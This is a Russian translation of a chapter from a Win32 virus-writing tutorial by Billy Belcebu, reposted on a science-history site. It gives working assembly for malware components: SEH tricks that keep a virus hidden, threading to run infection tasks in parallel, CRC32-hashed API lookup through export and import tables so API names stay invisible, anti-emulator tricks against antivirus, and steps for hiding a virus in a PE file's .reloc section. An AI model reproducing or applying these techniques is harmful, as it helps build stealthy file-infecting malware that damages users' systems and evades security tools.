Путеводитель по написанию вирусов под Win32: 10. Продвинутые Win32-техники


В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя :).

  • SEH
  • Мультитредность
  • CRC32 (IT/ET)
  • Антиэмулятор
  • Перезапись секции .reloc

Structured Exception Handler

SEH — это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным :). Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 :). Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место :). Давайте посмотрим небольшой пример использования SEH:

;---[ CUT HERE ]-------------------------------------------------------------

        .386p
        .model  flat                            ; 32 бита рулят

 extrn   MessageBoxA:PROC                ; Задаем API
 extrn   ExitProcess:PROC

        .data

 szTitle        db      "Structured Exception Handler [SEH]",0
 szMessage      db      "Intercepted General Protection Fault!",0

        .code

 start:
        push    offset exception_handler        ; Push'им смещение нашего
                                                ; обработчика
        push    dword ptr fs:[0000h]            ;
        mov     dword ptr fs:[0000h],esp

 errorhandler:
        mov     esp,[esp+8]                     ; Помещаем смещ. ориг. SEH
                                                ; Ошибка дает нам старый ESP
                                                ; в [ESP+8]

        pop     dword ptr fs:[0000h]            ; Восст. старый SEH-обработчик

        push    1010h                           ; Параметры для MessageBoxA
        push    offset szTitle
        push    offset szMessage
        push    00h
        call    MessageBoxA                     ; Показываем сообщене :]

        push    00h
        call    ExitProcess                     ; Выходим из приложения

 setupSEH:
        xor     eax,eax                         ; Генерируется исключение
        div     eax

 end    start
;---[ CUT HERE ]-------------------------------------------------------------

Как было показано в главе «Антиотладка под Win32», у SEH есть еще полезные применения :). Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):

; Put SEH - Sets a new SEH handler

; Put SEH - Устанавливаем новый SEH-обработчик

pseh    macro   what2do
        local   @@over_seh_handler
        call    @@over_seh_handler
        mov     esp,[esp+08h]
        what2do
@@over_seh_handler:
        xor     edx,edx
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx],esp
        endm

; Restore SEH - Восстанавливает старый SEH-обработчик

rseh    macro
        xor     edx,edx
        pop     dword ptr fs:[edx]
        pop     edx
        endm

 Использовать эти макросы очень просто. Например:

        pseh    >jmp SEH_handler&rt;
        div     edx
        push    00h
        call    ExitProcess
SEH_handler:
        rseh
        [...]

Код, приведенный выше, будет выполняться после макроса ‘rseh’ вместо прерывания процесса. Это понятно? 🙂

Мультитредность

Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время :).

Ок, основное назначение мультизадачной процедуры следующее:

  1. Создайте соответствующую ветвь кода, которую вы хотите запустить
  2. Подождите, пока дочерний процесс закончится в коде родительского процесса

Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 Функция CreateThread создает тред, выполняющийся внутри адресного пространства
 вызывающего функцию процесса.

 HANDLE CreateThread(
   LPSECURITY_ATTRIBUTES lpThreadAttributes,  // указ. на аттр. безоп. треда
   DWORD dwStackSize,                  // нач. размер стека треда в байтах
   LPTHREAD_START_ROUTINE lpStartAddress,    // указатель на функцию треда
   LPVOID lpParameter,                   // аргументы для нового треда
   DWORD dwCreationFlags,                       // флаги создания
   LPDWORD lpThreadId        // указатель на возвращенный идентификатор треда
  );

 Параметры
 ---------

 • lpThreadAttributes: указатель на структуру SECURITY_ATTRIBUTES, которая 
   определяет, сможет ли возвращенный хэндл наследоваться дочерним процессом.
   Если lpThreadAttributes равен NULL, хэндл не может наследоваться.

 Windows NT: поле lpSecurityDescriptor задает дескриптор безопасности нового 
             треда. Если lpThreadAttributes равен NULL, тред получает 
             дескриптор безопасности по умолчанию.

 Windows 95: поле lpSecurityDescriptor игнорируется.

 • dwStackSize: задает в байтах размер стека нового треда. Если указан 0, то 
   размер стека будет равен размеру стека главного треда процесса. Стек
   автоматически выделяется в адресном пространстве процесса и освобождается,
   когда тред завершает свое выполнение. Обратите внимание на то, что размер
   стека увеличивается по необходимости. CreateThread пытается выделить
   указанное количество байтов, а если это не удается, возвращает ошибку.

 • lpStartAddress: стартовый адрес нового треда. Обычно это адрес функции,
   имеющая соглашение о вызове WinAPI, которая принимает 32-х битный указатель
   в качестве аргумента и возвращает 32-х битный код возврата. Ее прототипом
   является:

 DWORD WINAPI ThreadFunc( LPVOID );

 • lpParameter: задает 32-х битное значение, которое будет передано треду в
   качестве аргумента.

 • dwCreationFlags: задает дополнительные флаги, контролирующие создание 
   треда. Если задан флаг CREATE_SUSPENDED, тред создается в замороженном 
   состоянии и начнет свое выполнение только тогда, когда будет вызвана функция
   ResumeThread. Если это значение равно нулю, тред начинает выполняться 
   немедленно после создания. На данный момент другие значения не
   поддерживаются.

 • lpThreadId: указывает на 32-х битную переменную, которая получает 
   идентификатор треда.

 Возвращаемые значения
 ---------------------

 • Если вызов функции прошел успешно, возвращаемое значение является хэндлом
   нового треда.

 • Если вызов функции не удастся, возвращаемое значение будет равно NULL. Чтобы
   получить дополнительную информацию об ошибке, вызовите GetLastError.

 Windows 95: CreateThread успешно выполняется только тогда, когда она
 вызывается в контексте 32-х битной программы. 32-х битная DLL не может создать
 дополнительный тред, если эта DLL была вызвана 16-ти битной программой.

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  
 Функция WaitForSingleObject возвращает управление программе, когда случается
 одно из следующего:

 • Указанный объект находится в сигнализирующем состоянии.
 • Закончился заданный интервал времени

 DWORD WaitForSingleObject(
   HANDLE hHandle,                           // хэндл ожидаемого объекта
   DWORD dwMilliseconds                  // интервал таймаута в миллисекундах
  );

 Параметры
 ---------

 • hHandle: идентифицирует объект. 

 Windows NT: хэндл должен иметь доступ типа SYNCHRONIZE. 

 • dwMilliseconds: задает интервал таймаута в миллисекундах. Функция возвращает
   управление, если заданное время закончилось, даже если объект находится в 
   несигнализирующем состоянии. Если dwMilliseconds равно нулю, функция 
   тестирует состояние объекта и возвращает управление немедленно. Если 
   dwMilliseconds равно INFINITE, интервал таймаута бесконечен.

 Возвращаемые значения
 ---------------------

 • Если вызов функции прошел успешно, возвращаемое значение указывает событие,
   которое заставило функцию вернуться.

 • Если вызов функции прошел неуспешно, возвращаемое значение равно
   WAIT_FAILED. Чтобы получить дополнительную информацию об ошибке, вызовите
   GetLastError.

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.

;---[ CUT HERE ]-------------------------------------------------------------
       .586p
       .model flat

extrn   CreateThread:PROC
extrn   WaitForSingleObject:PROC
extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

       .data
tit1           db      "Parent Process",0
msg1           db      "Spread your wings and fly away...",0
tit2           db      "Child Process",0
msg2           db      "Billy's awesome bullshit!",0

lpParameter    dd      00000000h
lpThreadId     dd      00000000h

       .code

multitask:
        push    offset lpThreadId             ; lpThreadId
        push    00h                           ; dwCreationFlags
        push    offset lpParameter            ; lpParameter
        push    offset child_process          ; lpStartAddress
        push    00h                           ; dwStackSize
        push    00h                           ; lpThreadAttributes
        call    CreateThread

; EAX = Thread handle

        push    00h                           ; 'Parent Process' blah blah
        push    offset tit1
        push    offset msg1
        push    00h
        call    MessageBoxA

        push    0FFh                          ; Ждем бесконечно
        push    eax                           ; Хэндл ожидаемого объекта (тред)
        call    WaitForSingleObject

        push    00h                           ; Выходим из программы
        call    ExitProcess

child_process:
        push    00h                           ; 'Child Process' blah blah
        push    offset tit2
        push    offset msg2
        push    00h
        call    MessageBoxA
        ret

end     multitask
;---[ CUT HERE ]-------------------------------------------------------------

Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке ‘Accept’ в дочернем процессе, то вам придется кликнуть также по ‘Accept’ родительского процесса, но если вы закроете родительский процесс, оба messagebox’а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово ‘процесс’ в значении ‘тред’ — прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.

Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса — родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера… Вау! 😉

Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на //www.wasm.ru — прим. пер.).

CRC32 (IT/ET)

Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно лекго, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus’а, этот туториал…), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?

Решение: CRC32

Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок… прежде всего вам нужно погладеть на код, получающий CRC32 :). Давайте возьмем код Zheng[i, переработонный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).

;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура получения CRC32 
;  -------------------------
;
; на входе:
;        ESI = смещение, блока байтов, чей CRC32 должен быть вычислен
;        EDI = размер этого блока
; на выходе:
;        EAX = CRC32 данного блока
;

 CRC32          proc
        cld
        xor     ecx,ecx                         ; Оптимизировано мно - на 2
        dec     ecx                             ; байта меньше
        mov     edx,ecx
 NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
 NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
 NoCRC: dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     edi                             ; на 1 байт меньше
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
 CRC32          endp
;---[ CUT HERE ]-------------------------------------------------------------

Хорошо, теперьа мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого… хехехе, да! Вы ждете код движка поиска API-функций :).

;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура GetAPI_ET_CRC32
;  ------------------------- 
;                          
; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов 
; KERNEL32 (после небольших изменений она будет работать для любой DLL), но 
; теперь требуется только CRC32 API-функции, а не вся строка :). Также
; потребуется процедура для получения CRC32 вроде той, которую я привел выше.
;
; на входе:
;        EAX = CRC32 имени функции в формате ASCIIz
; на выходе:
;        EAX = адрес API-функции
;

 GetAPI_ET_CRC32 proc
        xor     edx,edx
        xchg    eax,edx                         ; Помещаем CRC32 функции в EDX
        mov     word ptr [ebp+Counter],ax       ; Сбрасываем счетчик
        mov     esi,3Ch
        add     esi,[ebp+kernel]                ; Получае PE-заголовок KERNEL32
        lodsw
        add     eax,[ebp+kernel]                ; Нормализуем

        mov     esi,[eax+78h]                   ; Получаем указатель на
        add     esi,1Ch                         ; таблицу экспортов
        add     esi,[ebp+kernel]

        lea     edi,[ebp+AddressTableVA]        ; Указатель на таблицу адресов
        lodsd                                   ; Получаем значение AddressTable
        add     eax,[ebp+kernel]                ; Нормализуем
        stosd                                   ; И сохраняем в ее переменной

        lodsd                                   ; Получаем значение NameTable 
        add     eax,[ebp+kernel]                ; Нормализуем
        push    eax                             ; Помещаем ее на стек
        stosd                                   ; Сохраняем в ее переменной

        lodsd                                   ; Получаем значение OrdinalTable
        add     eax,[ebp+kernel]                ; Нормализуем
        stosd                                   ; Сохраняем

        pop     esi                             ; ESI = NameTable VA

 @?_3:  push    esi                             ; Снова сохраняем
        lodsd                                   ; Получ. указ. на имя API-ф-ции
        add     eax,[ebp+kernel]                ; Нормализуем
        xchg    edi,eax                         ; Сохраняем указатель в EDI
        mov     ebx,edi                         ; И в EBX

        push    edi                             ; Сохраняем EDI
        xor     al,al                           ; Доходим до NULL'а
        scasb                                   ; Это конец имени API-функции
        jnz     $-1                             
        pop     esi                             ; ESI = Указ. на имя API-ф-ции

        sub     edi,ebx                         ; EDI = Размер имени API-ф-ции

        push    edx                             ; Сохраняем CRC32 функции
        call    CRC32                           ; Получаем текущий CRC функции
        pop     edx                             ; Восстанавливаем CRC32 функции
        cmp     edx,eax                         ; Они совпадают?
        jz      @?_4                            ; Если да, это то, что нам надо

        pop     esi                             ; Восст. указ. на имя функции
        add     esi,4                           ; Переходим к следующему
        inc     word ptr [ebp+Counter]          ; И увеличиваем знач. счетчика
        jmp     @?_3                            ; Получаем следующую API-ф-цию!
 @?_4:
        pop     esi                             ; Убираем мусор из стека
        movzx   eax,word ptr [ebp+Counter]      ; AX = счетчик
        shl     eax,1                           ; *2 (это массив слов)
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем
        xor     esi,esi                         ; Очищаем ESI
        xchg    eax,esi                         ; ESI = Указ. на ординал; EAX=0
        lodsw                                   ; В AX получаем ординал
        shl     eax,2                           ; И с его помощью переходим к
        add     eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив
        xchg    esi,eax                         ; двойных слов)
        lodsd                                   ; Получаем адресс API RVA
        add     eax,[ebp+kernel]                ; и нормализуем!! Все!
        ret
 GetAPI_ET_CRC32 endp

 AddressTableVA dd      00000000h               ;\
 NameTableVA    dd      00000000h               ; &rt; В ЭТОМ ПОРЯДКЕ!!
 OrdinalTableVA dd      00000000h               ;/

 kernel         dd      0BFF70000h              ; Подгоните под свои нужды ;)
 Counter        dw      0000h
;---[ CUT HERE ]-------------------------------------------------------------

Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).

;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура GetAPI_IT_CRC32
;  -------------------------
;
; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает
; с переданным процедуре. Это полезно для создания перпроцессных резидентов
; (смотри главу "Перпроцессная резидентность" в данном туториале).
;
; на входе:
;        EAX = CRC32 имени API-функции в формате ASCIIz
; на выходе:
;        EAX = адрес API-функции
;        EBX = указатель на адрес API-функции в таблице импортов
;        CF  = устанавливаем, если вызов функции не удался
;

 GetAPI_IT_CRC32 proc
        mov     dword ptr [ebp+TempGA_IT1],eax  ; Сохранить CRC32 API-функции
        					; на будущее

        mov     esi,dword ptr [ebp+imagebase]   ; ESI = база образа
        add     esi,3Ch                         ; Получ. указ. на PE-заголовок
        lodsw                                   ; AX = тот указатель
        cwde                                    ; Очищаем MSW EAX'а
        add     eax,dword ptr [ebp+imagebase]   ; Нормализуем указатель
        xchg    esi,eax                         ; ESI = такой указатель
        lodsd                                   ; Получаем DWORD

        cmp     eax,"EP"                        ; Это метка PE?
        jnz     nopes                           ; Нет... duh!

        add     esi,7Ch                         ; ESI = PE-заголовок+80h
        lodsd                                   ; Ищем .idata
        push    eax
        lodsd                                   ; Получаем размер
        mov     ecx,eax
        pop     esi
        add     esi,dword ptr [ebp+imagebase]   ; Нормализуем

 SearchK32:
        push    esi                             ; Сохраняем ESI в стек
        mov     esi,[esi+0Ch]                   ; ESI = указатель на имя
        add     esi,dword ptr [ebp+imagebase]   ; Нормализуем
        lea     edi,[ebp+K32_DLL]               ; Указатель на 'KERNEL32.dll'
        mov     ecx,K32_Size                    ; Размер строки
        cld                                     ; Очищаем флаг направления
        push    ecx                             ; Сохраняем ECX
        rep     cmpsb                           ; Сохраняем байты
        pop     ecx                             ; Восстанавливаем ECX
        pop     esi                             ; Восстанавливаем ESI
        jz      gotcha                          ; Были ли они равны? Черт...
        add     esi,14h                         ; Получаем другое поле
        jmp     SearchK32                       ; И ищем снова
 gotcha:
        cmp     byte ptr [esi],00h              ; Это OriginalFirstThunk 0?
        jz      nopes                           ; Проклятье, если так...
        mov     edx,[esi+10h]                   ; Получаем FirstThunk
        add     edx,dword ptr [ebp+imagebase]   ; Нормализуем
        lodsd                                   ; Получаем его
        or      eax,eax                         ; Это 0?
        jz      nopes                           ; Проклятье...

        xchg    edx,eax                         ; Получаем указатель на него
        add     edx,[ebp+imagebase]
        xor     ebx,ebx
 loopy:
        cmp     dword ptr [edx+00h],00h         ; Последний RVA?
        jz      nopes                           ; Проклятье...
        cmp     byte ptr  [edx+03h],80h         ; Ординал?
        jz      reloop                          ; Проклятье...

        mov     edi,[edx]                       ; Получаем указатель на
        add     edi,dword ptr [ebp+imagebase]   ; импортированную API-функцию
        inc     edi
        inc     edi
        mov     esi,edi                         ; ESI = EDI

        pushad                                  ; Сохраняем все регистры
        eosz_edi                                ; В EDI получаем конец строки
        sub     edi,esi                         ; EDI = размер имени функции

        call    CRC32
        mov     [esp+18h],eax                   ; В ECX - результат после POPAD
        popad

        cmp     dword ptr [ebp+TempGA_IT1],ecx  ; CRC32 данной API-функции
        jz      wegotit                         ; совпадает с той, которая
        					; нам нужна?
 reloop:
        inc     ebx                             ; Если, совершаем следующий
        add     edx,4                           ; проход и ищем нужную функцию
        					; в таблице импортов
        loop    loopy
 wegotit:
        shl     ebx,2                           ; Умножаем на 4
        add     ebx,eax                         ; Добавляем FirstThunk
        mov     eax,[ebx]                       ; EAX = адрес API-функции
        test    al,00h                          ; Пересечение: избегаем STC :)
        org     $-1
 nopes:
        stc
        ret
 GetAPI_IT_CRC32 endp

 TempGA_IT1     dd      00000000h
 imagebase      dd      00400000h
 K32_DLL        db      "KERNEL32.dll",0
 K32_Size       equ     $-offset K32_DLL

;---[ CUT HERE ]-------------------------------------------------------------

Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :). Далее я перечеслю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.

CRC32 некоторых API-функций:

 Имя API-функции        CRC32        Имя API-функции        CRC32
 ---------------        -----        ---------------        -----
 CreateFileA            08C892DDFh   CloseHandle            068624A9Dh
 FindFirstFileA         0AE17EBEFh   FindNextFileA          0AA700106h
 FindClose              0C200BE21h   CreateFileMappingA     096B2D96Ch
 GetModuleHandleA       082B618D4h   GetProcAddress         0FFC97C1Fh
 MapViewOfFile          0797B49ECh   UnmapViewOfFile        094524B42h
 GetFileAttributesA     0C633D3DEh   SetFileAttributesA     03C19E536h
 ExitProcess            040F57181h   SetFilePointer         085859D42h
 SetEndOfFile           059994ED6h   DeleteFileA            0DE256FDEh
 GetCurrentDirectoryA   0EBC6C18Bh   SetCurrentDirectoryA   0B2DBD7DCh
 GetWindowsDirectoryA   0FE248274h   GetSystemDirectoryA    0593AE7CEh
 LoadLibraryA           04134D1ADh   GetSystemTime          075B7EBE8h
 CreateThread           019F33607h   WaitForSingleObject    0D4540229h
 ExitThread             0058F9201h   GetTickCount           0613FD7BAh
 FreeLibrary            0AFDF191Fh   WriteFile              021777793h
 GlobalAlloc            083A353C3h   GlobalFree             05CDF6B6Ah
 GetFileSize            0EF7D811Bh   ReadFile               054D8615Ah
 GetCurrentProcess      003690E66h   GetPriorityClass       0A7D0D775h
 SetPriorityClass       0C38969C7h   FindWindowA            085AB3323h
 PostMessageA           086678A04h   MessageBoxA            0D8556CF7h
 RegCreateKeyExA        02C822198h   RegSetValueExA         05B9EC9C6h
 MoveFileA              02308923Fh   CopyFileA              05BD05DB1h
 GetFullPathNameA       08F48B20Dh   WinExec                028452C4Fh
 CreateProcessA         0267E0B05h   _lopen                 0F2F886E3h
 MoveFileExA            03BE43958h   CopyFileExA            0953F2B64h
 OpenFile               068D8FC46h

Вам нужен CRC32 другой функции?

Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.

;---[ CUT HERE ]-------------------------------------------------------------

        .586
        .model  flat
        .data

 extrn          ExitProcess:PROC
 extrn          MessageBoxA:PROC
 extrn          GetCommandLineA:PROC

 titulo         db "GetCRC32 by Billy Belcebu/iKX",0

 message        db "SetEndOfFile"               ; Поместите здесь строку, чей
                                                ; CRC32 вам нужно узнать
 _              db 0
                db "CRC32 is "
 crc32_         db "00000000",0

        .code

 test:
        mov     edi,_-message
        lea     esi,message                     ; Загружаем указатель на имя
                                                ; API-функции
        call    CRC32                           ; Получаем CRC32

        lea     edi,crc32_                      ; Конвертируем hex в текст
        call    HexWrite32

        mov     _," "                           ; Пусть 0 станет пробелом

        push    00000000h                       ; Отображаем messagebox с
        push    offset titulo                   ; именем API-функции и ее CRC32
        push    offset message
        push    00000000h
        call    MessageBoxA

        push    00000000h
        call    ExitProcess

 HexWrite8      proc                            ; Этот код был взят из носителя
        mov     ah,al                           ; 1-ого поколения вируса
        and     al,0Fh                          ; Bizatch
        shr     ah,4
        or      ax,3030h
        xchg    al,ah
        cmp     ah,39h
        ja      @@4
 @@1:
        cmp     al,39h
        ja      @@3
 @@2:
        stosw
        ret
 @@3:
        sub     al,30h
        add     al,'A' - 10
        jmp     @@2
 @@4:
        sub     ah,30h
        add     ah,'A' - 10
        jmp     @@1
 HexWrite8      endp

 HexWrite16     proc
        push    ax
        xchg    al,ah
        call    HexWrite8
        pop     ax
        call    HexWrite8
        ret
 HexWrite16     endp

 HexWrite32     proc
        push    eax
        shr     eax, 16
        call    HexWrite16
        pop     eax
        call    HexWrite16
        ret
 HexWrite32     endp

 CRC32          proc
        cld
        xor     ecx,ecx                         ; Оптимизированно мной - на 2
        					; байта меньше
        dec     ecx                             
        mov     edx,ecx
 NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
 NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
 NoCRC: dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     edi                             ; на 1 байт меньше
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
 CRC32          endp

 end    test
;---[ CUT HERE ]-------------------------------------------------------------

Круто, правда? 🙂

Антиэмуляторы

Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super’ом. Далее следует небольшой список того, что необходимо знать для обмана AV’ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!

— Генерирование ошибок с помощью SEH. Пример:

        pseh    >jmp virus_code&rt;
        dec     byte ptr [edx] ; >-- или другое исключение, например 'div edx'
        [...] >-- если мы здесь, нас отлаживают!
 virus_code:
        rseh
        [...] >-- код вируса :)

— Использование сегментного префикса CS. Например:

        jmp     cs:[shit]
        call    cs:[shit]

— Использование RETF. Пример:

        push    cs
        call    shit
        retf

— Игра с DS. Пример:

        push    ds
        pop     eax

или даже лучше:

        push    ds
        pop     ax

или еще лучше:

        mov     eax,ds
        push    eax
        pop     ds

— Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :

        mov     ebx,esp
        push    cs
        pop     eax
        cmp     esp,ebx
        jne     nod_ice_detected

— Использование недокументированных опкодов:

        salc    ; db 0D6h
        bpice   ; db 0F1h

— Использование тредов и/или фиберов

Я надеюсь, что все это окажется для вас полезным :).

Перезапись секции .reloc

Это очень интересная тема. Секция ‘.reloc’ полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как ‘.reloc’ секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется «Идеи и теории относительно заражения PE», так как в нем содержится много интересной информации.

Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:

В заголовке секции:

  • В качестве нового VirtualSize установите размер вируса + его кучу
  • В качестве нового SizeOfRawData установите выравненный VirtualSize
  • Очистите PointerToRelocations и NumberOfRelocations
  • Измените имя ‘.reloc’ на какое-нибудь другое.

Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая.

[C] Billy Belcebu, пер. Aquila

 

Источник wasm.ru /04.11.2002/

Поделиться в соц сетях

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Есть идеи, замечания, предложения? Воспользуйтесь формой Обратная связь или отправьте сообщение по адресу replay@sciencestory.ru
© 2017 Истории науки. Информация на сайте опубликована в ознакомительных целях может иметь ограничение 18+